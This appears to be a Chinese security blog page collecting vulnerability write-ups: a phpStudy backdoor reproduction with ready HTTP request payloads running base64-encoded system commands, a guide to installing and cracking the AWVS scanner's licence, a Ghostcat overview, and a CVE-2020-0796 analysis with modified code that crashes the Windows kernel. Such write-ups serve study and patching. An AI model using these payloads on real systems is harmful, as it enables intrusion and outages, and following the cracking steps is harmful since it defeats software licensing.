介绍phpStudy是国内一款免费的PHP环境集成包,集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer等多款软件,无需配置即可直接安装使用,有着近百万PHP用户。近日被爆出phpStudy存在RCE后门,并通过验证复现。软件作者声明:phpstudy 2016版PHP5.4存在后门。实际测试官网下载phpstudy2018版php-5.2.17和php-5.4.45也同样存在后门据传漏洞形成原因是官网被入侵后植入后门,嫌疑人已被抓。咱也不敢说咱也不敢问是个古老的问题了,我也不知道为什么今天出来水了一篇。。。手动检查后门代码存在于\ext\php_xmlrpc.dll模块中,phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45phpStudy2016路径php\php-5.2.17\ext\php_xmlrpc.dllphp\php-5.4.45\ext\php_xmlrpc.dllphpStudy2018路径PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dllPHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl用记事本打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在工具检查并修复官方发布了:phpstudy 安全自检修复程序,可用于2016 2018版本的安全检测与修复,下载该文件一键检查与修复。浏览器访问靶机地址:http://192.168.1.91/浏览器设置本地代理并且打开BurpSuiteFree抓包POC:GET / HTTP/1.1Host: 192.168.43.99User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset:”commandbase64 string”Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0CTRL + R把请求包转发到中继器模块Accept-Charset:”command base64 string”中执行命令经过了的的Base64编码加密:执行语句指令:system(‘whoami’);BASE64 编码后:c3lzdGVtKCd3aG9hbWknKTs =替换进去Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=还要把“ ”中的前面的空格删除。Accept-Encoding: gzip, deflatedeflate(6)构造好执行语句为WHOAMI的POC如下:GET / HTTP/1.1Host: 192.168.1.91User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;rv:69.0) Gecko/20100101 Firefox/69.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset: c3lzdGVtKCd3aG9hbWknKTs=Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0聪明的你应该知道要干嘛了。咳咳咳,不过还是别干坏事,自己玩玩就好了。这篇古老的复现就到这里了。。。
2020年03月16日
242 阅读
0 评论
0 点赞
2020-03-15
在Centos7下安装AWVS扫描器
先来介绍一下什么是AWVSAcunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞下载链接 https://pan.baidu.com/s/106aWHcxooFin8lbp5sI0ZA提取码:aayz安装首先得先update一下,确保软件都是最新的yum update发现自己的centos 没得命令补全 yum -y install bash-completion 解决解决依赖的问题yum install libXrender libXext libXcursor libXfixes libXcomposite libXrandr libXdamage libXtst libXi cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango libXScrnSaver libatk-bridge-2.0.so.0 -y安装chmod 777 acunetix_trial.sh ##就是你刚刚下载的压缩包解压后里面的sudo ./acunetix_trial.sh当你进行安装的时候,会蹦出一堆东西,其中包括阅读它的使用协议,回车到输入yes,然后输入一系列内容比如邮箱什么的,是之后登陆的账号。直到安装完成。然后可能有些依赖还是找不到… Linux的尿性。。。。得靠厉害的您慢慢调试了。。运行 yum provides libgdk-3.so.0找到为 gtk3-3.22.30-3.el7.i686 包含yum install gtk3-3.22.30-3.el7.i686其他同理,之后一路安装下去。安装过程就不贴图了修改端口默认的awvs的端口是13443,有点太显眼了,我们改改端口vi /home/acunetix/.acunetix_trial/wvs.ini将server.port=13443改为server.port=17433AND,,,,,重启启动重启启动,,,systemctl start acunetix_trial ##启动systemctl stop acunetix_trial ##停止systemctl restart acunetix_trial ##重启安装好之后重启下。 。。。然后说到了一个重点,这是款收费软件,咱的“优良传统”不就是破解 吗?咳咳。说跑题了。当然了, 有能力的还是支持正版!!! 毕竟作者也费心。。。注意要把破解补丁复制v_190515149/scanner/目录下,其中v_190515149是你的awvs安装完成后根据版本生成的目录。unzip patch_awvs.zip ##报错的先安装unzip。。。cd /home/acunetix/.acunetix_trial/v_190515149/scanner/cp ~/patch_awvs ../patch_awvs破解成功会显示找不到证书?Can not Locate license file????有点问题放置路径错了证书没生成看了眼路径是对的,那就是证书的问题了。strings /usr/lib64/libstdc++.so.6 | grep GLIBCXX需要包含 GLIBCXX_3.4.20,否则安装awvs时无法生成证书文件,破解补丁自然会失败,我这最高也就19找找看本地有没有20版本的find / -name libstdc++.so.6*没得。。。。。先看看 libstdc++.so.6yum provides libstdc++.so.6yum install libstdc++-4.8.5-11.el7.i686从路径/usr/local/lib64拷贝文件libstdc++.so.6.0.20(或者更高版本,例如libstdc++.so.6.0.24)到路径/usr/lib64删除/usr/lib64原来的软连接libstdc++.so.6 #强烈建议删除之前先备份一份在路径/usr/lib64,打开终端命令行,输入ln命令,重新建立软连接 ln libstdc++.so.6.0.20 libstdc++.so.6重新执行strings /usr/lib64/libstdc++.so.6 | grep GLIBCXX但是这边已经安装了这个 libstdc++-4.8.5-11.el7.i686 版本,然后还是没得办法 最后去找了下 libstdc++.so.6.0.26,跟上面操作差不多mv /usr/lib64/libstdc++.so.6 libstdc++.so.6.bk #备份一下cp libstdc++.so.6 /usr/lib64/sudo ln -s /usr/lib64/libstdc++.so.6.0.26 /usr/lib64/libstdc++.so.6之后再去访问下 activate 看到 License Key 里面有东西了,再去运行下./patch_awvsNICE~~~保护license不失效执行完成patch之后,尽快执行如下的命令,不然license会被修改的。chattr +i /home/acunetix/.acunetix_trial/data/license/license_info.jsonawvs破解后14天失效问题解决参考大佬的博客,通过日志的查看和命令行模式的调试/home/acunetix/.acunetix_trial/v_190515149/scanner/wvsc /scan http://xxx.com /profile xss /satus /log logfile.txt发现是license过期了。参考下t00ls上的帖子《Linux AWVS 12完美破解!!!》好多大佬说,破解完成后用段时间就失效了,扫不了了。只要删除wa_data.dat文件即可。亲测可用!!!rm /home/acunetix/.acunetix_trial/data/license/wa_data.dat在安装完成之后,删除wa_data.bat文件,确实可用。但是10几天之后,awvs会自动再次生成wa_data.bat文件,查看报错提示是license error。解决:rm /home/acunetix/.acunetix_trial/data/license/wa_data.dattouch /home/acunetix/.acunetix_trial/data/license/wa_data.datchattr +i /home/acunetix/.acunetix_trial/data/license/wa_data.dat意思是到期之后将wa_data.dat文件删除,然后手动创建一个wa_data.dat,最后锁定wa_data.dat文件不可写入。如果还是被改了,试试 chattr +i 之后文件自己还能不能改试一下-i之后,vi编辑是否可以编辑并保存;关闭selinux,试一试。话题再一次回到那个尴尬的/lib64/libstdc++.so.6: version `GLIBCXX_3.4.20’ not found解决方法是升级libstdc++.。。。。。yum provides libstdc++.so.6Loaded plugins: fastestmirror, langpacks Loading mirror speeds from cached hostfile * base: centos.ustc.edu.cn * extras: centos.ustc.edu.cn * updates: centos.ustc.edu.cn libstdc++-4.8.5-11.el7.i686 : GNU Standard C++ Library Repo : base Matched from: Provides : libstdc++.so.6yum install libstdc++-4.8.5-11.el7.i6861、从路径/usr/local/lib64拷贝文件libstdc++.so.6.0.20(或者更高版本,例如libstdc++.so.6.0.24)到路径/usr/lib642、删除/usr/lib64原来的软连接libstdc++.so.6 #强烈建议删除之前先备份一份3、在路径/usr/lib64,打开终端命令行,输入ln命令,重新建立软连接ln libstdc++.so.6.0.20 libstdc++.so.64、重新执行strings /usr/lib64/libstdc++.so.6 | grep GLIBCXX真神奇!吾醉了。。。
2020年03月15日
56 阅读
0 评论
0 点赞
2020-03-14
CVE-2020-1938复现
在开头,我们先了解一下 Tomcat AJP Connector 是什么 Tomcat Connector 是 Tomcat 与外部连接的通道,它使得 Catalina 能够接收来自外部的请求,传递给对应的 Web 应用程序处理,并返回请求的响应结果 默认情况下,Tomcat 配置了两个 Connector,它们分别是 HTTP Connector 和 AJP Connector: HTTP Connector:用于处理 HTTP 协议的请求(HTTP/1.1),默认监听地址为 0.0.0.0:8080 AJP Connector:用于处理 AJP 协议的请求(AJP/1.3),默认监听地址为 0.0.0.0:8009 HTTP Connector 就是用来提供我们经常用到的 HTTP Web 服务。而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol),AJP 协议可以理解为 HTTP 协议的二进制性能优化版本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。那么Ghostcat 漏洞有哪些危害通过 Ghostcat 漏洞,攻击者可以读取 Tomcat所有 webapp目录下的任意文件。 此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害受影响版本Apache Tomcat 9.x < 9.0.31Apache Tomcat 8.x < 8.5.51Apache Tomcat 7.x < 7.0.100Apache Tomcat 6.x要想利用,总要有个环境吧,那么那些环境呢?对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险 注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 说那么多。。。。先复现吧。。。。安装docker搭建复现环境 docker run -d -p 8080:8080 -p 8090:8090 duonghuuphuc/tomcat-8.5.32 问题来了Ghostcat 漏洞该如何修复或缓解Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。要正确修复此漏洞,首先需要确定您的服务器环境中是否有用到 Tomcat AJP 协议:· 如果未使用集群或反向代理,则基本上可以确定没有用到 AJP;· 如果使用了集群或反向代理,则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信在线检测地址https://www.chaitin.cn/zh/ghostcat#online_test
2020年03月14日
58 阅读
0 评论
0 点赞
2020-03-14
CVE-2020-0796验证与修复分析
1、验证下载CVE-2020-0796扫描器,对Windows 10系统进行扫描python3 cve-2020-0796-scanner.py -t 192.168.169.107 默认状态下,检测结果 2、修复打开powershell,设置注册表信息 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force3、复测再次扫描,发现漏洞已经无法检测出来 当将DisableCompression值设置为0,再次检测,仍可检测出漏洞。4、分析根据ADV-200005 安全通告,我们可以得到如下信息,例如影响版本等Description ================ Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client. Security Updates ================ Windows 10 Version 1903 for 32-bit Systems Remote Code Execution Critical Windows 10 Version 1903 for ARM64-based Systems Remote Code Execution Critical Windows 10 Version 1903 for x64-based Systems Remote Code Execution Critical Windows 10 Version 1909 for 32-bit Systems Remote Code Execution Critical Windows 10 Version 1909 for ARM64-based Systems Remote Code Execution Critical Windows 10 Version 1909 for x64-based Systems Remote Code Execution Critical Windows Server, version 1903 (Server Core installation) Remote Code Execution Critical Windows Server, version 1909 (Server Core installation) Remote Code Execution Critical Workarounds ================ Disable SMBv3 compression ************************* You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below. Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force根据该文章,可以得到3个信息。该漏洞只影响 SMB v3.1.1,是SMB最新的协议,可能存在某些功能没有经过测试只影响 1903和1909,这意味着 windows server 2019(177630) LTSC 版本不受影响建议关闭smb 压缩功能首先我们要知道smb服务的二进制文件在哪个位置。一般在C:\Windows\System32\drivers\srv2.sys,这是从学习分析wanncry学到的经验。其次,我们要从特定版本的windows上获取srv2.sys。搭建虚拟机复制拷贝即可srv2.sys 静态分析将 srv2.sys加载到ida中,根据安全通告,与compress有关,所以我们主要查找与compression有关的函数名称。Srv2DecompressMessageAsyncSrv2DecompressDataSmb2GetHonorCompressionAlgOrderSmb2SelectCompressionAlgorithmSmb2ValidateCompressionCapabilitiesSrv2DecompressMessageAsync和Srv2DecompressData这两个函数可能存在问题,该函数的同步版本函数比异步版本函数更易分析,我们来主要分析一下srv2!Srv2DecompressData函数__int64 __fastcall Srv2DecompressData(__int64 a1) { __int64 v1; // rdi __int64 v2; // rax __m128i v3; // xmm0 __m128i v4; // xmm0 unsigned int v5; // ebp __int64 v7; // rax __int64 v8; // rbx int v9; // eax __m128i MaxCount; // [rsp+30h] [rbp-28h] int v11; // [rsp+60h] [rbp+8h] v11 = 0; v1 = a1; v2 = *(_QWORD *)(a1 + 240); if ( *(_DWORD *)(v2 + 36) < 0x10u ) return 0xC000009B; v3 = *(__m128i *)*(_QWORD *)(v2 + 24); MaxCount = v3; v4 = _mm_srli_si128(v3, 8); v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64); if ( v5 != v4.m128i_u16[0] ) return 0xC00000BB; v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64); v8 = v7; if ( !v7 ) return 0xC000009A; if ( (int)SmbCompressionDecompress( v5, *(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16), MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24), MaxCount.m128i_i32[1], &v11) < 0 || (v9 = v11, v11 != MaxCount.m128i_i32[1]) ) { SrvNetFreeBuffer(v8); return 0xC000090B; } if ( MaxCount.m128i_i32[3] ) { memmove( *(void **)(v8 + 24), (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64), MaxCount.m128i_u32[3]); v9 = v11; } *(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9; Srv2ReplaceReceiveBuffer(v1, v8); return 0i64; }这是用IDA反编译到C的结果。很难分析,但是可以注意到两个点子函数体非常小,与“bug”描述相一致函数只做三件简单的事,申请buffer,解压属于并拷贝到buffer如果我们想确定该函数是不是存在漏洞的函数,我们需要更多信息,al 寄存器代表什么,攻击者还可以控制哪些字段???以下是三份关于smb协议的参考资料DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf[MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/根据公开材料,可以了解更多关于smb的包结构。根据这些信息,重新命名一下函数中的相关变量__int64 __fastcall Srv2DecompressData(__int64 _smb_packet) { __int64 smb_packet; // rdi __int64 _header; // rax SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0 AAA smb_header_compress; // xmm0_8 unsigned int CompressionAlgorithm; // ebp __int64 __alloc_buffer; // rax __int64 __allocated_buffer; // rbx int PayloadSize; // eax SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h] int UncompressedSize; // [rsp+60h] [rbp+8h] UncompressedSize = 0; smb_packet = _smb_packet; _header = *(_QWORD *)(_smb_packet + 0xF0); // Basic size checks if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) ) return 0xC000090Bi64; v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18); Header = v3; // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128( (__m128i)v3, offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm)); CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64); if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo ) return 0xC00000BBi64; // Nani ?? oO __alloc_buffer = SrvNetAllocateBuffer( (unsigned int)( Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 ); __allocated_buffer = __alloc_buffer; if ( !__alloc_buffer ) return 0xC000009Ai64; // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize if ( (int)SmbCompressionDecompress( CompressionAlgorithm, (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength + 0x10i64), *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10, (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)), Header.OriginalCompressedSegmentSize, &UncompressedSize) < 0 || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) ) { SrvNetFreeBuffer(__allocated_buffer); return 0xC000090Bi64; } // Copy optional payload if ( Header.OffsetOrLength ) { memmove( *(void **)(__allocated_buffer + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64), (unsigned int)Header.OffsetOrLength); PayloadSize = UncompressedSize; } *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize; Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer); return 0i64; }现在我们很容易就能看到存在漏洞的地方。__alloc_buffer = SrvNetAllocateBuffer( (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 );攻击者可以控制OriginalCompressedSegmentSize 和OffsetOrLength这两个参数。OriginalCompressedSegmentSize 用来描述压缩前的数据大小,OffsetOrLength用来描述压缩数据的长度或者片偏移,主要取决于是否设置flags变量,详情见图OriginalCompressedSegmentSize 和OffsetOrLength都为32位int类型数字,并且srv2!Srv2DecompressData用上述两个字段来控制分配内存空间。下面是反汇编00000001C0017EB2 movq rcx, xmm0 ... 00000001C0017EC8 mov rax, qword ptr [rsp+58h+Header.ProtocolId] 00000001C0017ECD xor edx, edx 00000001C0017ECF shr rax, 20h ; OriginalCompressedSegmentSize 00000001C0017ED3 shr rcx, 20h ; OffsetOrLength 00000001C0017ED7 add ecx, eax 00000001C0017ED9 call cs:__imp_SrvNetAllocateBuffer我们很容易可以发现,其中存在integer整数溢出。下面动态分析来触发漏洞动态分析为了检验我们的假设是否正确,我们需要两件事:存在漏洞的服务器,这很容易设置,只需在系统上安装Windows 10 1903 或者 1909 Windows即可!实现SMB v3.1.1压缩功能的SMB客户端,这实际上实现起来困难得多。Samba/CIFS 官方声明说,由于它们未实现压缩功能,因此它们不受此漏洞的影响,并且通常第三方smb客户端例如,pysmbclient和impacket's smbclient均不支持压缩功能。我设法找到了功能完整的SMB客户端实现:https : //github.com/microsoft/WindowsProtocolTestSuites/该代码库完全使用C# 编写,并由Microsoft用于测试协议一致性(因此,其功能涵盖面非常完整),是一个很合适我们测试POC的环境。老实说,该项目是Windows安全研究人员的宝库,项目中包括 SMB server/client, RDP server/client, Kerberos server, SMBD server等的完整实现。尽管代码编写的很好,但是创建的包并不能触发漏洞,所以我们要修改一下代码来触发我们的漏洞// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common { /// <summary> /// SMB2 Compression Utility. /// </summary> public static class Smb2Compression { private static uint i = 0; /// <summary> /// Compress SMB2 packet. /// </summary> /// <param name="packet">The SMB2 packet.</param> /// <param name="compressionInfo">Compression info.</param> /// <param name="role">SMB2 role.</param> /// <param name="offset">The offset where compression start, default zero.</param> /// <returns></returns> public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0) { var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role); /*if (compressionAlgorithm == CompressionAlgorithm.NONE) { return packet; }*/ // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login) if (i < 3) { i++; return packet; } var packetBytes = packet.ToBytes(); var compressor = GetCompressor(compressionAlgorithm); // HACK: Insane length to trigger the integrer overflow offset = 0xffffffff; var compressedPacket = new Smb2CompressedPacket(); compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader; compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length; compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm; compressedPacket.Header.Reserved = 0; compressedPacket.Header.Offset = offset; compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray(); compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray()); var compressedPackectBytes = compressedPacket.ToBytes(); // HACK: force compressed packet to be sent return compressedPacket; // Check whether compression shrinks the on-wire packet size // if (compressedPackectBytes.Length < packetBytes.Length) // { // compressedPacket.OriginalPacket = packet; // return compressedPacket; // } // else // { // return packet; // } } } } namespace Microsoft.Protocols.TestManager.BranchCachePlugin { class Program { static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info) { Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds)); client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }; // NEGOTIATION is done in "plaintext", this is the call within UserLogon: // client.Negotiate( // 0, // 1, // Packet_Header_Flags_Values.NONE, // messageId++, // new DialectRevision[] { DialectRevision.Smb311 }, // SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED, // Capabilities_Values.NONE, // clientGuid, // out selectedDialect, // out gssToken, // out header, // out negotiateResp, // preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression // compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 } // ); if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp)) return; // From now on, we compress every new packet client.CompressionInfo.CompressAllPackets = true; // Get tree information about a remote share (which does not exists) TREE_CONNECT_Response treeConnectResp; string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare); // trigger crash here client.TreeConnect( 1, 1, Packet_Header_Flags_Values.FLAGS_SIGNED, messageId++, sessionId, uncSharePath, out treeId, out header, out treeConnectResp ); } static void Main(string[] args) { Console.WriteLine("Hello World!"); Logger logger = new Logger(); AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost"); BranchCacheDetector bcd = new BranchCacheDetector( logger, "DESKTOP-SMBVULN", "DESKTOP-SMBVULN", accountCredential ); DetectionInfo info = new DetectionInfo(); info.SelectedTransport = "SMB2"; info.ContentServerName = "DESKTOP-SMBVULN"; info.UserName = "Ghost"; info.Password = "Ghost"; TriggerCrash(bcd,info); Console.WriteLine("Goodbye World!"); } } }我们通过Smb2Compression.cs去向smb服务器发送看起来畸形数据包,看来我们触发了漏洞以下为windbg结果Breakpoint 3 hit srv2!Srv2DecompressData+0x6f: fffff800`50ad7ecf 48c1e820 shr rax,20h kd> p srv2!Srv2DecompressData+0x73: fffff800`50ad7ed3 48c1e920 shr rcx,20h kd> srv2!Srv2DecompressData+0x77: fffff800`50ad7ed7 03c8 add ecx,eax kd> r eax eax=7e kd> r ecx ecx=ffffffff kd> p srv2!Srv2DecompressData+0x79: fffff800`50ad7ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)] kd> r ecx ecx=7d kd> p srv2!Srv2DecompressData+0x80: fffff800`50ad7ee0 e8fbe29704 call srvnet!SrvNetAllocateBuffer (fffff800`554561e0) kd> p srv2!Srv2DecompressData+0x85: fffff800`50ad7ee5 488bd8 mov rbx,rax kd> g KDTARGET: Refreshing KD connection *** Fatal System Error: 0x00000050 (0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. For analysis of this file, run !analyze -v nt!DbgBreakPointWithStatus: fffff800`51a79580 cc int 3 kd> !analyze -v Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff8483c09e7e2f, memory referenced. Arg2: 0000000000000000, value 0 = read operation, 1 = write operation. Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) Debugging Details: ------------------ READ_ADDRESS: ffff8483c09e7e2f Nonpaged pool TRAP_FRAME: fffff105d6992c00 -- (.trap 0xfffff105d6992c00) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000 rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f r8=ffff8483c09e7e2f r9=0000000000000078 r10=ffff8483bccd1f6d r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc nt!RtlDecompressBufferXpressLz+0x50: fffff800`51a0e750 418b08 mov ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=???????? Resetting default scope STACK_TEXT: fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12 fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952 fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107 fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50 fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66 fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1 fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33 fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117 fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37 fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55 fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a 补丁微软的补丁就是在Srv2DecompressData里面对上述两个Length做了检查.__int64 __fastcall Srv2DecompressData(__int64 a1) { // //添加了对Header中Length的检查 // if ( RtlULongAdd(Header.OriginalCompressedSegmentSize, Header2.Length, &pulResult) < 0 ) { ... } if ( pulResult > (unsigned __int64)(unsigned int)(*(_DWORD *)(v9 + 0x24) + 0x100) + 0x34 ) { ... } if ( RtlULongSub(pulResult, Header.Length, &pulResult) < 0 ) { ... } }结论总体来看,CVE-2020-0796是一个很容易发现的漏洞。但是完美利用利用它确实另外一回事:这是一个在windows 10 KASLR 保护机制下需要远程攻击的kernel exploit。最好的办法就是完全禁用这个功能。
2020年03月14日
69 阅读
4 评论
0 点赞
2020-03-13
Nmap扫描基础常用命令
